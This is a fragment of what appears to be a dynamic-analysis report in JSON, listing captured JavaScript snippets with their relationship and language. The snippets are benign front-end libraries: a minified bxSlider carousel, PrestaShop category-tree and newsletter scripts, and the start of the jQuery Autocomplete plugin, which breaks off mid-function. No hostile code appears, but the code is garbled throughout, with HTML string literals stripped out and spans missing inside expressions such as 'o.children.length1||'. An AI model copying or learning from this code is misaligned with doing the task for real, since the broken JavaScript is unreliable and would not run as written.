e={},s={mode:\"horizontal\",slideSelector:\"\",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:\"visible\",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:\"full\",pagerShortSeparator:\" / \",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:\"Next\",prevText:\"Prev\",nextSelector:null,prevSelector:null,autoControls:!1,startText:\"Start\",stopText:\"Stop\",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:\"next\",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(n){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(n)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},s,n),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages=\"all\"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp=\"vertical\"==o.settings.mode?\"top\":\"left\",o.usingCSS=o.settings.useCSS&&\"fade\"!=o.settings.mode&&function(){var t=document.createElement(\"div\"),e=[\"WebkitPerspective\",\"MozPerspective\",\"OPerspective\",\"msPerspective\"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace(\"Perspective\",\"\").toLowerCase(),o.animProp=\"-\"+o.cssPrefix+\"-transform\",!0;return!1}(),\"vertical\"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data(\"origStyle\",r.attr(\"style\")),r.children(o.settings.slideSelector).each(function(){t(this).data(\"origStyle\",t(this).attr(\"style\"))}),c()},c=function(){r.wrap('
'),o.viewport=r.parent(),o.loader=t('
'),o.viewport.prepend(o.loader),r.css({width:\"horizontal\"==o.settings.mode?100*o.children.length+215+\"%\":\"auto\",position:\"relative\"}),o.usingCSS&&o.settings.easing?r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",o.settings.easing):o.settings.easing||(o.settings.easing=\"swing\"),f(),o.viewport.css({width:\"100%\",overflow:\"hidden\",position:\"relative\"}),o.viewport.parent().css({maxWidth:p()}),o.settings.pager||o.viewport.parent().css({margin:\"0 auto 0px\"}),o.children.css({\"float\":\"horizontal\"==o.settings.mode?\"left\":\"none\",listStyle:\"none\",position:\"relative\"}),o.children.css(\"width\",u()),\"horizontal\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginRight\",o.settings.slideMargin),\"vertical\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginBottom\",o.settings.slideMargin),\"fade\"==o.settings.mode&&(o.children.css({position:\"absolute\",zIndex:0,display:\"none\"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:\"block\"})),o.controls.el=t('
'),o.settings.captions&&P(),o.active.last=o.settings.startSlide==x()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);\"all\"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&T(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&E(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),g(e,h)},g=function(e,i){var s=e.find(\"img, iframe\").length;if(0==s)return i(),void 0;var n=0;e.find(\"img, iframe\").each(function(){t(this).one(\"load\",function(){++n==s&&i()}).each(function(){this.complete&&t(this).load()})})},h=function(){if(o.settings.infiniteLoop&&\"fade\"!=o.settings.mode&&!o.settings.ticker){var e=\"vertical\"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass(\"bx-clone\"),s=o.children.slice(-e).clone().addClass(\"bx-clone\");r.append(i).prepend(s)}o.loader.remove(),S(),\"vertical\"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(v()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind(\"resize\",Z),o.settings.auto&&o.settings.autoStart&&H(),o.settings.ticker&&L(),o.settings.pager&&q(o.settings.startSlide),o.settings.controls&&W(),o.settings.touchEnabled&&!o.settings.ticker&&O()},v=function(){var e=0,s=t();if(\"vertical\"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var n=1==o.settings.moveSlides?o.active.index:o.active.index*m();for(s=o.children.eq(n),i=1;i<=o.settings.maxSlides-1;i++)s=n+i>=o.children.length?s.add(o.children.eq(i-1)):s.add(o.children.eq(n+i))}else s=o.children.eq(o.active.index);else s=o.children;return\"vertical\"==o.settings.mode?(s.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,s.map(function(){return t(this).outerHeight(!1)}).get()),e},p=function(){var t=\"100%\";return o.settings.slideWidth>0&&(t=\"horizontal\"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},u=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||\"vertical\"==o.settings.mode?t=e:o.settings.maxSlides>1&&\"horizontal\"==o.settings.mode&&(e>o.maxThreshold||e0)if(o.viewport.width()o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else\"vertical\"==o.settings.mode&&(t=o.settings.minSlides);return t},x=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/m();else for(var e=0,i=0;e0&&o.settings.moveSlides<=f()?o.settings.moveSlides:f()},S=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if(\"horizontal\"==o.settings.mode){var t=o.children.last(),e=t.position();b(-(e.left-(o.viewport.width()-t.width())),\"reset\",0)}else if(\"vertical\"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();b(-e.top,\"reset\",0)}}else{var e=o.children.eq(o.active.index*m()).position();o.active.index==x()-1&&(o.active.last=!0),void 0!=e&&(\"horizontal\"==o.settings.mode?b(-e.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-e.top,\"reset\",0))}},b=function(t,e,i,s){if(o.usingCSS){var n=\"vertical\"==o.settings.mode?\"translate3d(0, \"+t+\"px, 0)\":\"translate3d(\"+t+\"px, 0, 0)\";r.css(\"-\"+o.cssPrefix+\"-transition-duration\",i/1e3+\"s\"),\"slide\"==e?(r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),D()})):\"reset\"==e?r.css(o.animProp,n):\"ticker\"==e&&(r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",\"linear\"),r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),b(s.resetValue,\"reset\",0),N()}))}else{var a={};a[o.animProp]=t,\"slide\"==e?r.animate(a,i,o.settings.easing,function(){D()}):\"reset\"==e?r.css(o.animProp,t):\"ticker\"==e&&r.animate(a,speed,\"linear\",function(){b(s.resetValue,\"reset\",0),N()})}},w=function(){for(var e=\"\",i=x(),s=0;i>s;s++){var n=\"\";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(s),o.pagerEl.addClass(\"bx-custom-pager\")):(n=s+1,o.pagerEl.addClass(\"bx-default-pager\")),e+='\"}o.pagerEl.html(e)},T=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t('
'),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass(\"bx-has-pager\").append(o.pagerEl),w()),o.pagerEl.on(\"click\",\"a\",I)},C=function(){o.controls.next=t(''+o.settings.nextText+\"\"),o.controls.prev=t(''+o.settings.prevText+\"\"),o.controls.next.bind(\"click\",y),o.controls.prev.bind(\"click\",z),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('
'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass(\"bx-has-controls-direction\").append(o.controls.directionEl))},E=function(){o.controls.start=t('\"),o.controls.stop=t('\"),o.controls.autoEl=t('
'),o.controls.autoEl.on(\"click\",\".bx-start\",k),o.controls.autoEl.on(\"click\",\".bx-stop\",M),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass(\"bx-has-controls-auto\").append(o.controls.autoEl),A(o.settings.autoStart?\"stop\":\"start\")},P=function(){o.children.each(function(){var e=t(this).find(\"img:first\").attr(\"title\");void 0!=e&&(\"\"+e).length&&t(this).append('
'+e+\"
\")})},y=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},z=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},k=function(t){r.startAuto(),t.preventDefault()},M=function(t){r.stopAuto(),t.preventDefault()},I=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),s=parseInt(i.attr(\"data-slide-index\"));s!=o.active.index&&r.goToSlide(s),e.preventDefault()},q=function(e){var i=o.children.length;return\"short\"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i),void 0):(o.pagerEl.find(\"a\").removeClass(\"active\"),o.pagerEl.each(function(i,s){t(s).find(\"a\").eq(e).addClass(\"active\")}),void 0)},D=function(){if(o.settings.infiniteLoop){var t=\"\";0==o.active.index?t=o.children.eq(0).position():o.active.index==x()-1&&o.carousel?t=o.children.eq((x()-1)*m()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&(\"horizontal\"==o.settings.mode?b(-t.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-t.top,\"reset\",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},A=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find(\"a\").removeClass(\"active\"),o.controls.autoEl.find(\"a:not(.bx-\"+t+\")\").addClass(\"active\"))},W=function(){1==x()?(o.controls.prev.addClass(\"disabled\"),o.controls.next.addClass(\"disabled\")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")):o.active.index==x()-1?(o.controls.next.addClass(\"disabled\"),o.controls.prev.removeClass(\"disabled\")):(o.controls.prev.removeClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")))},H=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},L=function(){var e=0;if(\"next\"==o.settings.autoDirection)r.append(o.children.clone().addClass(\"bx-clone\"));else{r.prepend(o.children.clone().addClass(\"bx-clone\"));var i=o.children.first().position();e=\"horizontal\"==o.settings.mode?-i.left:-i.top}b(e,\"reset\",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+=\"horizontal\"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,s=\"horizontal\"==o.settings.mode?\"left\":\"top\",n=i*(e-Math.abs(parseInt(r.css(s))));N(n)}),N()},N=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};\"next\"==o.settings.autoDirection?e=r.find(\".bx-clone\").first().position():i=o.children.first().position();var s=\"horizontal\"==o.settings.mode?-e.left:-e.top,n=\"horizontal\"==o.settings.mode?-i.left:-i.top,a={resetValue:n};b(s,\"ticker\",speed,a)},O=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind(\"touchstart\",X)},X=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind(\"touchmove\",Y),o.viewport.bind(\"touchend\",V)}},Y=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),s=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>s&&o.settings.preventDefaultSwipeX?t.preventDefault():3*s>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),\"fade\"!=o.settings.mode&&o.settings.oneToOneTouch){var n=0;if(\"horizontal\"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;n=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;n=o.touch.originalPos.top+r}b(n,\"reset\",0)}},V=function(t){o.viewport.unbind(\"touchmove\",Y);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,\"fade\"==o.settings.mode){var s=Math.abs(o.touch.start.x-o.touch.end.x);s>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var s=0;\"horizontal\"==o.settings.mode?(s=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(s=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&s>0||o.active.last&&0>s)?b(i,\"reset\",200):Math.abs(s)>=o.settings.swipeThreshold?(0>s?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):b(i,\"reset\",200)}o.viewport.unbind(\"touchend\",V)},Z=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?x()-1:e>=x()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),\"next\"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):\"prev\"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=x()-1,o.settings.pager&&q(o.active.index),o.settings.controls&&W(),\"fade\"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed),o.children.filter(\":visible\").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css(\"zIndex\",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css(\"zIndex\",o.settings.slideZIndex),D()});else{o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed);var s=0,n={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if(\"horizontal\"==o.settings.mode){var a=o.children.eq(o.children.length-1);n=a.position(),s=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;n=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&\"prev\"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-m():(x()-1)*m()-(o.children.length-o.settings.maxSlides),a=r.children(\".bx-clone\").eq(d);n=a.position()}else if(\"next\"==i&&0==o.active.index)n=r.find(\"> .bx-clone\").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var c=e*m();n=o.children.eq(c).position()}if(\"undefined\"!=typeof n){var g=\"horizontal\"==o.settings.mode?-(n.left-s):-n.top;b(g,\"slide\",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,\"next\")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,\"prev\")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){\"next\"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&A(\"stop\"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&A(\"start\"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(\".bx-clone\")).outerWidth(u()),o.viewport.css(\"height\",v()),o.settings.ticker||S(),o.active.last&&(o.active.index=x()-1),o.active.index>=x()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),q(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(\".bx-clone\",this).remove(),o.children.each(function(){void 0!=t(this).data(\"origStyle\")?t(this).attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\")}),void 0!=t(this).data(\"origStyle\")?this.attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(\".bx-caption\",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind(\"resize\",Z))},r.reloadSlider=function(t){void 0!=t&&(n=t),r.destroySlider(),d()},d(),this}}(jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$('ul.tree.dhtml').hide();\t//to do not execute this script as much as it's called...\tif(!$('ul.tree.dhtml').hasClass('dynamized'))\t{\t\t//add growers to each ul.tree elements\t\t$('ul.tree.dhtml ul').prev().before(\" \");\t\t\t\t//dynamically add the '.last' class on each last item of a branch\t\t$('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last');\t\t\t\t//collapse every expanded branch\t\t$('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide();\t\t$('ul.tree.dhtml').show();\t\t\t\t//open the tree for the selected branch\t\t\t$('ul.tree.dhtml .selected').parents().each( function() {\t\t\t\tif ($(this).is('ul'))\t\t\t\t\ttoggleBranch($(this).prev().prev(), true);\t\t\t});\t\t\ttoggleBranch( $('ul.tree.dhtml .selected').prev(), true);\t\t\t\t//add a fonction on clicks on growers\t\t$('ul.tree.dhtml span.grower').click(function(){\t\t\ttoggleBranch($(this));\t\t});\t\t//mark this 'ul.tree' elements as already 'dynamized'\t\t$('ul.tree.dhtml').addClass('dynamized');\t\t$('ul.tree.dhtml').removeClass('dhtml');\t}});//animate the opening of the branch (span.grower jQueryElement)function openBranch(jQueryElement, noAnimation){\t\tjQueryElement.addClass('OPEN').removeClass('CLOSE');\t\tif(noAnimation)\t\t\tjQueryElement.parent().find('ul:first').show();\t\telse\t\t\tjQueryElement.parent().find('ul:first').slideDown();}//animate the closing of the branch (span.grower jQueryElement)function closeBranch(jQueryElement, noAnimation){\tjQueryElement.addClass('CLOSE').removeClass('OPEN');\tif(noAnimation)\t\tjQueryElement.parent().find('ul:first').hide();\telse\t\tjQueryElement.parent().find('ul:first').slideUp();}//animate the closing or opening of the branch (ul jQueryElement)function toggleBranch(jQueryElement, noAnimation){\tif(jQueryElement.hasClass('OPEN'))\t\tcloseBranch(jQueryElement, noAnimation);\telse\t\topenBranch(jQueryElement, noAnimation);}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function() { $('#newsletter-input').on({ focus: function() { if ($(this).val() == placeholder_blocknewsletter || $(this).val() == msg_newsl) $(this).val(''); }, blur: function() { if ($(this).val() == '') $(this).val(placeholder_blocknewsletter); } });\tvar cssClass = 'alert alert-danger'; if (typeof nw_error != 'undefined' && !nw_error)\t\tcssClass = 'alert alert-success'; if (typeof msg_newsl != 'undefined' && msg_newsl)\t{ $('#columns').prepend('

' + alert_blocknewsletter + '

');\t\t$('html, body').animate({scrollTop: $('#columns').offset().top}, 'slow');\t}});", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * Autocomplete - jQuery plugin 1.0.2 * * Copyright (c) 2007 Dylan Verheul, Dan G. Switzer, Anjesh Tuladhar, Jörn Zaefferer * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Revision: $Id: jquery.autocomplete.js 6844 2011-06-03 14:46:51Z dMetzger $ * */;(function($) {\t$.fn.extend({\tautocomplete: function(urlOrData, options) {\t\tvar isUrl = typeof urlOrData == \"string\";\t\toptions = $.extend({}, $.Autocompleter.defaults, {\t\t\turl: isUrl ? urlOrData : null,\t\t\tdata: isUrl ? null : urlOrData,\t\t\tdelay: isUrl ? $.Autocompleter.defaults.delay : 10,\t\t\tmax: options && !options.scroll ? 10 : 150\t\t}, options);\t\t\t\t// if highlight is set to false, replace it with a do-nothing function\t\toptions.highlight = options.highlight || function(value) { return value; };\t\t\t\t// if the formatMatch option is not specified, then use formatItem for backwards compatibility\t\toptions.formatMatch = options.formatMatch || options.formatItem;\t\t\t\treturn this.each(function() {\t\t\tnew $.Autocompleter(this, options);\t\t});\t},\tresult: function(handler) {\t\treturn this.bind(\"result\", handler);\t},\tsearch: function(handler) {\t\treturn this.trigger(\"search\", [handler]);\t},\tflushCache: function() {\t\treturn this.trigger(\"flushCache\");\t},\tsetOptions: function(options){\t\treturn this.trigger(\"setOptions\", [options]);\t},\tunautocomplete: function() {\t\treturn this.trigger(\"unautocomplete\");\t}});$.Autocompleter = function(input, options) {\tvar KEY = {\t\tUP: 38,\t\tDOWN: 40,\t\tDEL: 46,\t\tTAB: 9,\t\tRETURN: 13,\t\tESC: 27,\t\tCOMMA: 188,\t\tPAGEUP: 33,\t\tPAGEDOWN: 34,\t\tBACKSPACE: 8\t};\t// Create $ object for input element\tvar $input = $(input).attr(\"autocomplete\", \"off\").addClass(options.inputClass);\tvar timeout;\tvar previousValue = \"\";\tvar cache = $.Autocompleter.Cache(options);\tvar hasFocus = 0;\tvar lastKeyPressCode;\tvar config = {\t\tmouseDownOnSelect: false\t};\tvar select = $.Autocompleter.Select(options, input, selectCurrent, config);\t\tvar blockSubmit;\t\t// prevent form submit in opera when selecting with return key\t$.browser.opera && $(input.form).bind(\"submit.autocomplete\", function() {\t\tif (blockSubmit) {\t\t\tblockSubmit = false;\t\t\treturn false;\t\t}\t});\t\t// only opera doesn't trigger keydown multiple times while pressed, others don't work with keypress at all\t$input.bind(($.browser.opera ? \"keypress\" : \"keydown\") + \".autocomplete\", function(event) {\t\t// track last key pressed\t\tlastKeyPressCode = event.keyCode;\t\tswitch(event.keyCode) {\t\t\t\t\tcase KEY.UP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.prev();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.DOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.next();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEUP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageUp();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEDOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageDown();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t// matches also semicolon\t\t\tcase options.multiple && $.trim(options.multipleSeparator) == \",\" && KEY.COMMA:\t\t\tcase KEY.TAB:\t\t\tcase KEY.RETURN:\t\t\t\tif( selectCurrent() ) {\t\t\t\t\t// stop default to prevent a form submit, Opera needs special handling\t\t\t\t\tevent.preventDefault();\t\t\t\t\tblockSubmit = true;\t\t\t\t\treturn false;\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.ESC:\t\t\t\tselect.hide();\t\t\t\tbreak;\t\t\t\t\t\t\tdefault:\t\t\t\tclearTimeout(timeout);\t\t\t\ttimeout = setTimeout(onChange, options.delay);\t\t\t\tbreak;\t\t}\t}).focus(function(){\t\t// track whether the field has focus, we shouldn't process any\t\t// results if the field no longer has focus\t\thasFocus++;\t}).blur(function() {\t\thasFocus = 0;\t\tif (!config.mouseDownOnSelect) {\t\t\thideResults();\t\t}\t}).click(function() {\t\t// show select when clicking in a focused field\t\tif ( hasFocus++ > 1 && !select.visible() ) {\t\t\tonChange(0, true);\t\t}\t}).bind(\"search\", function() {\t\t// TODO why not just specifying both arguments?\t\tvar fn = (arguments.length > 1) ? arguments[1] : null;\t\tfunction findValueCallback(q, data) {\t\t\tvar result;\t\t\tif( data && data.length ) {\t\t\t\tfor (var i=0; i < data.length; i++) {\t\t\t\t\tif( data[i].result.toLowerCase() == q.toLowerCase() ) {\t\t\t\t\t\tresult = data[i];\t\t\t\t\t\tbreak;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\tif( typeof fn == \"function\" ) fn(result);\t\t\telse $input.trigger(\"result\", result && [result.data, result.value]);\t\t}\t\t$.each(trimWords($input.val()), function(i, value) {\t\t\trequest(value, findValueCallback, findValueCallback);\t\t});\t}).bind(\"flushCache\", function() {\t\tcache.flush();\t}).bind(\"setOptions\", function() {\t\t$.extend(options, arguments[1]);\t\t// if we've updated the data, repopulate\t\tif ( \"data\" in arguments[1] )\t\t\tcache.populate();\t}).bind(\"unautocomplete\", function() {\t\tselect.unbind();\t\t$input.unbind();\t\t$(input.form).unbind(\".autocomplete\");\t});\t\t\tfunction selectCurrent() {\t\tvar selected = select.selected();\t\tif( !selected )\t\t\treturn false;\t\t\t\tvar v = selected.result;\t\tpreviousValue = v;\t\t\t\tif ( options.multiple ) {\t\t\tvar words = trimWords($input.val());\t\t\tif ( words.length > 1 ) {\t\t\t\tv = words.slice(0, words.length - 1).join( options.multipleSeparator ) + options.multipleSeparator + v;\t\t\t}\t\t\tv += options.multipleSeparator;\t\t}\t\t\t\t$input.val(v);\t\thideResultsNow();\t\t$input.trigger(\"result\", [selected.data, selected.value]);\t\treturn true;\t}\t\tfunction onChange(crap, skipPrevCheck) {\t\tif( lastKeyPressCode == KEY.DEL ) {\t\t\tselect.hide();\t\t\treturn;\t\t}\t\t\t\tvar currentValue = $input.val();\t\t\t\tif ( !skipPrevCheck && currentValue == previousValue )\t\t\treturn;\t\t\t\tpreviousValue = currentValue;\t\t\t\tcurrentValue = lastWord(currentValue);\t\tif ( currentValue.length >= options.minChars) 